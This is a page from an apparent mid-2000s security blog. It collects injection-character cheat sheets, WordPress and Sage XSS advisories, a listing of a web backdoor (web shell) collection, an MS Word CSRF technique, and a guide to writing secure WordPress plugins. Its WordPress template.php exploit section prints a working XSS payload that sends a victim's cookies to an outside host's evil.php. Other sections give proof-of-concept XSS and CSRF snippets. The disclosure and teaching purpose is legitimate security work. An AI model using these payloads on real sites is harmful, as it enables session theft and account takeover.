Page 2 of 3

Input Validation Cheat Sheet

Related articles: SQL Injection Cheat Sheet

We sometimes carelessly throw characters up and about in an attempt to find a gem. This paper covers miscellaneous injection characters and their meanings when applied to web application testing.

Character(s) Details
NULL or null Often produces interesting error messages as the web application is expecting a value. It can also help us determine if the backend is a PL/SQL gateway.
{‘ , ” , ; , <!} Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
{– , = , + , “} These characters are used to craft SQL Injection queries.
{‘ , &, ! , ¦ , < , >} Used to find command execution vulnerabilities.
“><script>alert(1)</script> Used for basic Cross-Site Scripting Checks.
{%0d , %0a} Carriage Return Line Feed (new line); all round bad.
{%7f , %ff} byte-length overflows; maximum 7- and 8-bit values.
{-1, other} Integer and underflow vulnerabilities.
Ax1024+ Overflow vulnerabilities.
{%n , %x , %s} Testing for format string vulnerabilities.
../ Directory Traversal Vulnerabilities.
{% , _, *} Wildcard characters can sometimes present DoS issues or information disclosure.

These characters can be represented in many different ways (i.e. Unicode). It is important to understand this when restricting input to these character sets.

References:

 

WordPress Adsense Deluxe Vulnerability

David Kierznowski of Operation n has discovered some serious flaws in the WordPress Adsense Deluxe plugin as part of the WordPress Angel Project. The vulnerability(s) affect all versions.


This vulnerability reminds me of the the old Hacker movies, where a worm is released that steals random pennys from unsuspecting victims. This vulnerability is the closest I have seen to this scenario.

The vendor has been notified, and more information regarding the vulnerability will be released after 30 days or until such a time as the author feels that WordPress users have had a chance to upgrade.

Unfortunately, the developer has not gotten back to me, and as many blogs use this plugin as a source of income, I have gone ahead and made the necessary changes myself as a temporary solution. Please note this is an unofficial release. Hopefully the vendor will verify the changes and make an official release shortly.

As with any plugin, please make sure you have made a backup before downloading and installing this.

Download adsense-deluxe.zip.

The vendor was notified: 18/05/07
Response received: None as yet
Fix received: Temporary fix released as part of the WordPress Angel Project.

References:

WordPress Persistent XSS

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)

WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.

Discussion:
When editing files a shortcut is created titled ‘recently accessed files’. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with ‘/’. We can get around this by using “open” IMG tags; this works under FF and IE.

Vulnerable code:
wp-admin/templates.php:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Vulnerable function:

function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}

Proof of concept:

https://blogsite/wp/wp-admin/templates.php?file=%3Cimg%20src=''
           onerror=javascript:alert(document.cookie);%3E

Temp Fix:
Comment out the following line in wp-admin/templates.php
[Line 72] update_recently_edited($file);

WordPress was contacted: 26/12/06 22:04 BST
Reply received: 27/12/06 06:11 BST
WordPress has fixed this for v2.0.6 and a patch has been released
for v2.0.5, see
http://trac.wordpress.org/changeset/4665

RSS Injection in Sage part 2

2 months ago, both pdp any myself released a vulnerability “Cross Context Scripting in Sage”. This issue was resolved in Sage release 1.3.7 (see: http://mozdev.org/bugs/show_bug.cgi?id=15101). I found a new vulnerability which affects the latest version, Sage 1.3.8. In addition to the XSS vulnerability, it should be noted (as in the previous vulnerability) that this issue occurs within the Local Browser Context.

Background:

A number of popular online RSS readers allow images to be embedded within Feeds. It has been known for some time now, that the amount of people subscribed to your feed can be determined by using the image src functionality. This is interesting from an anonymity point of view. I was curious to know just how well these applications would prevent and/or restrict the “img onload” features.

Ironically, Sage seems to handle this quite well. It removes any “onload” attribute within an IMG element. Sage also completely removes offending JavaScript code. However, it fails to remove the script tags when inserted within the IMG element. In addition to this, it will actually end the IMG element for us. For example:

<img src=”http://michaeldaw.org/images/jss.jpg” <script>alert(’blah’);</script> ></img>
becomes:
<img src=”http://michaeldaw.org/images/jss.jpg” > <script>alert(’blah’);</script> </img>
Notice the trailing > is removed and added before our JavaScript code.
This feed will open “/etc/passwd” for Linux users and “…./etc/hosts” for MS Windows users. Please note I have not tested the Windows feed.

Web Backdoor Compilation

Web Backdoor Compilation (wbc)
DK (http://michaeldaw.org)

Changelog

Date Change
24 Apr 07 Anti-Virus Capabilities (Work done by Dancho Danchev)
14 Apr 07 Version 1b (pre 1.2 release):
perlcmd.cgi,
cfexec.cfm,
cmdasp.aspx
Dec/06 Version 1 release.

I have collected some WEB backdoors in the past to exploit vulnerable file upload facilities
and others. I think a library like this may be useful in a variety of situations.

Understanding how these backdoors work can help security administrators
implement firewalling and security policies to mitigate obvious attacks.

The package includes:

Filename Contributer Anti-Virus Detection MD5 Risk
cmd-asp-5.1.asp Brett Moore Webwasher-Gateway 6.0.1/20070419 8baa99666bf3734c
bdfdd10088e0cd9f
HIGH
cmdasp.asp Maceo Authentium 4.93.8 04.14.2007
Avast 4.7.981.0 04.16.2007
BitDefender 7.2 04.16.2007
ClamAV devel-20070312 04.16.2007
DrWeb 4.33 04.16.2007
Ewido 4.0 04.16.2007
F-Prot 4.3.2.48 04.13.2007
F-Secure 6.70.13030.0 04.16.2007
Kaspersky 4.0.2.24 04.16.2007
Microsoft 1.2405 04.16.2007
Symantec 10 04.16.2007
VBA32 3.11.3 04.14.2007
Webwasher-Gateway 6.0.1 04.16.2007
57b51418a799d2d0
16be546f399c2e9b
Low
cmdasp.aspx Dominic Chell None 5e83b6ed422399de
04408b80f3e5470e
CRITICAL
cmdjsp.jsp Unknown None b815611cc39f17f05a
73444d699341d4
CRITICAL
jsp-reverse.jsp Tan Chew Keong None 8b0e6779f25a17f0
ffb3df14122ba594
CRITICAL
php-backdoor.php z0mbie AhnLab-V3 2007.4.19.1/20070419
AntiVir 7.3.1.53/20070419
Authentium 4.93.8/20070418
AVG 7.5.0.464/20070419
BitDefender 7.2/20070419
F-Prot 4.3.2.48/20070418
F-Secure 6.70.13030.0/20070419
Ikarus T3.1.1.5/20070419
Kaspersky 4.0.2.24/20070420
McAfee 5013/20070419
Microsoft 1.2405/20070419
NOD32v2 2205/20070419
Norman 5.80.02/20070419
VBA32 3.11.3/20070419
Webwasher-Gateway 6.0.1/20070419
AVG Free 8.0.233
2b5cb105c4ea9b5e
bc64705b4bd86bf7
Low
simple-backdoor.php David Kierznowski None f091d1b9274c881f
8e41b2f96e6b9936
CRITICAL
perlcmd.cgi David Kierznowski None 97ae7222d7f13e90
8c6d7f563cb1e72b
CRITICAL
cfexec.cfm Kurt Grutzmacher None bd04f47283c53ca0
ce6436a79ccd600f
CRITICAL

Note: readme.txt is also included in this package but not listed here.

If you have contributions please let me know so that I can add them into a later
release.

Download here.

WordPress template.php Exploit

Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

CSRF with MS Word

Update: 15/2:
CSRF in MS Word part II
Update 28/11:

It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff by http://michaeldaw.org/.

Microsoft Word has been plagued with vulnerabilities in the past. Therefore, mail servers often restrict email with the .doc extension. However, with applications like Microsoft SharePoint which allows sharing of content between users, the door is opened just slightly to allow for deviance. This article demonstrates using Microsoft Word in Cross Site Request Forgery (CSRF) Attacks.

Our attack vector is found in exploiting MSWord’s frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent CSRF vulnerabilities (and possibly the browser). The cool part? This all happens transparently with no warnings to the user. Also, this IMG tag can be hidden within a document which means that our malicious code is executed everytime the document is opened. Furthermore, an attacker can use either 302 redirects or modify the infected HTML file to alter his/her targets array. This means our payload can be updated from the attackers end.

This is how we do it:

1. Create new document
2. Goto Insert > Format > Frames >
3. Right Click on the frame > Frame Properties >
4. Set hyperlink to our exploit page which contains malicious IMG tags.

An example target HTML file can be seen below:

<html>
<body>
<img src="http://non-existent/login.php?changepass=123&verify=123" alt=""  />
</body>
</html>

Obviously curious about how MS Word communicates, I sniffed the connection:

GET /login.php?changepass=123&verify=123 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: non-existent
Connection: Keep-Alive
Cookie: blah

As we can see, it is using Internet Explorer to fetch these pages. With some creativity other exploitation techniques may be possible (i.e. ActiveX exploitation). However, attacks are limited due to scripting being disabled by default. Thus we see that MS Word can be used to launch multiple, persistent (well almost) CSRF attacks.

WordPress 2.1.3 Akismet Vulnerability

Alert by http://michaeldaw.org/

David Kierznowski of Operation n has discovered a serious flaw in the Akismet anti-spam plugin that comes by default with the latest version of WordPress (2.1.3).

It has not been confirmed as yet, but I believe this will affect all versions of the plugin. The vendor has been notified, and more information regarding the vulnerability will be released when a suitable fix has been released.

I know its painful, but its recommended that you disable the Akismet plugin immediately.

The vendor was notified: 14/05/07
Response received: 14/05/07
Fix received: 14/05/07

The Akismet v2.0.2 Download upgrade has been made to address these issues and may be downloaded here.

Projects

Projects of Michael Daw.

WordPress Securify Plugin

WordPress Securify (WPSec) is a security plugin for WordPress. Every hour the tests specified within WPSec will be executed. A count of “warnings” is displayed in the top right of the WordPress Admin panel.

WordPress Securify ShellScript

This project has been split into two parts. The first was a chunky shell script that uses security through obscurity approach. The second project is the WordPress Securify plugin; this plugin is closer to a WordPress Security Audit tool. I have completed version 1.0 but am still sorting out some bugs – let me know if you want to give it a try.

HTTP Proxy Scanner

Simple HTTP proxy scanner to check for “usable” proxies. Written in C; requires libcurl.

Web Backdoor Compilation

A collection of web backdoors.

SQL Injection Cheat Sheet

Currently supports generic authentication bypass Vulnerabilities, MS-SQL, MySQL, Oracle, Postgress and Sybase.

JavaScript Network Mapper (v1.0)

A JavaScript Network Mapper which supports, WebPing, WebScript and WebImage scanning techniques.

JavaScript WebPing

Uses iframes to ping networks.

ASP Auditor

This tool is based on H D Moore’s Dot Net Application Scanner.

Awakening the Sleeping Giant

This paper is an initial attempt to categorise and track XSS in general. Haven’t dont much work on this.

Writing Secure WordPress Plugins

Title: Writing Secure WordPress Plugins (part 1)
Author: David Kierznowski
Site: Operation n
Date: 17 May 2007

Posted at: MichaelDaw Blog.

Introduction

WordPress has become one of the most popular blogging packages on the Internet; this is largely due to its ease of use and its object oriented design which allows the user to easily extend its capabilities in the form of WordPress Plugins.

Unfortunately, “ease of use”, and “security” are to often like lemon and milk. This article is a desparate attempt to try and educate WordPress Plugin developers to some of the common security problems that can occur. The reality is, that this article is a bit to late, and unfortunately countless plugins are vulnerable to the attacks discussed here.

What does this mean? Well, it means that an attacker could potentially gain access to your WordPress Admin Panel, or take control of areas of your blogs such as your Google Adsense ads – maybe the attacker wants a little extra pocket money.

On the positive side, WordPress itself, does support a number of built in security functions to help combat these issues.

Rather then tackling all the problems in one go, this paper introduces 2 common pitfalls developers are making when writing WordPress plugins. After going through this article I hope developers of plugins (especially popular ones) will begin immediately working to resolve these issues. When this occurs, we’ll look at part 2 of this article.

I am hesitent to release this information as I know just how many plugins these vulnerabilities affect. For this reason, I will try not discuss to much on the exploitation side (although both are fairly trivial to exploit), but rather give guidelines to follow.

attribute_escape

Right lets get into it… the functions we will be discussing are “attribute_escape” and “wp_nonce_field”.

Firstly, the attribute_escape function is defined as follows:

applied to post text and other content by the attribute_escape function, which is called in many places in WordPress to change certain characters into HTML attributes before sending to the browser.

You should use this function everytime you intend to echo back data to the user. This generally means all strings from $_GET and $_POST. Lets have an example to illustrate this (this vulnerable code is actually taken from a plugin):

if( isset($_POST['name']) && $_POST['name'] != ''
           && isset($_POST['code']) && $_POST['code'] != '' ){
            $desc = $_POST['comment'];
            ....

Now can you spot any problems in the above snippet of code? The problem here, is that the plugin is accepting any value that the user chooses as part of the POST variable named desc. This is not good, as any input including HTML entities will be echoed back to the users browser – Note, this also applies to $_GET as well (it even extends to other global variables supported by PHP, but that is beyond the scope of this paper). So lets secure this using the WordPress attribute_escape function:

if( isset($_POST['name']) && $_POST['name'] != ''
           && isset($_POST['code']) && $_POST['code'] != '' ){
            $desc = attribute_escape($_POST['comment']);
            ....

Notice how simple it is to implement this function.

Lets have a $_GET example (also taken from a plugin):

if ( isset($_GET['mode']) ) {
      $mode = $_GET['mode'];
      ...

Again, we see that we fail to escape our request from the user with add_attribute. So lets add it:

if ( isset($_GET['mode']) ) {
      $mode = attribute_escape($_GET['mode']);
      ...

Applying attribute_escape will greatly increase the security of your plugin. Remember the basic rule, if your plugin echoes back data to the user, ensure that attribute_escape is being used before this occurs.

wp_nonce

Our next security feature to our script is to add a random nonce value when using forms. The WordPres definition is as follows:


explain_nonce_(verb)-(noun)
allows a filter function to define text to be used to explain a nonce that is otherwise not explained by the WordPress core code. You will need to define specific verb/noun filters to use this. For instance, if your plugin defines a nonce for updating a tag, you would define a filter for “explain_nonce_update-tag”. Filter function arguments: text to display (defaults to a generic “Are you sure you want to do this?” message) and extra information from the end of the action URL. In the example here, your function might simply return the string “Are you sure you want to update this tag?”.

There is typically three parts to this:

1st, we check to see if this functionality exists and set it at the top of our plugin:

if ( !function_exists('wp_nonce_field') ) {
        function myplugin_nonce_field($action = -1) { return; }
        $myplugin_nonce = -1;
} else {
        function myplugin_nonce_field($action = -1) { return wp_nonce_field($action); }
        $myplugin_nonce = 'myplugin-update-key';
}

2nd, we declare our newly generated random nonce into our POST form:

<form action= ...>
      <?php adsense_nonce_field('$myplugin_nonce', $myplugin_nonce); ?>
       ...

Finally, we check the nonce is correct in our $_POST request:

if ( isset($_POST['submit']) ) {
      if ( function_exists('current_user_can') && !current_user_can('manage_options') )
      die(__('Cheatin’ uh?'));

      check_admin_referer( '$myplugin_nonce', $adsense_nonce );

Each POST request will now contain a random number that is required in order to make the POST request. It is slightly more difficult to implement then the previous one, but not at all complicated when thought through.

You may have noticed that this addresses POST, but what about GET requests?

$delete_url = wp_nonce_url($get_url . "mode=del", '$adsense_nonce' . $myplugin_nonce);

The above will provide our nonce into the URL, now we just need to have it confirmed in our $_GET function:

if($mode == 'del' ){
    check_admin_referer('$myplugin_nonce', $myplugin_nonce);

And your done… now make sure to test it 🙂

Summary

It is vital for the security of future WordPress plugins that attribute_escape and wp_nonce functions be used to prevent critical vulnerabilities which currently affect many such plugins.

I encourage developers to modify their plugins to reflect these changes. Forgive me if their are blatent errors in the paper, I wrote it quite late while fixing a vulnerable plugin…well I’m off to bed.

References

Page 2 of 3

Powered by WordPress & Theme by Anders Norén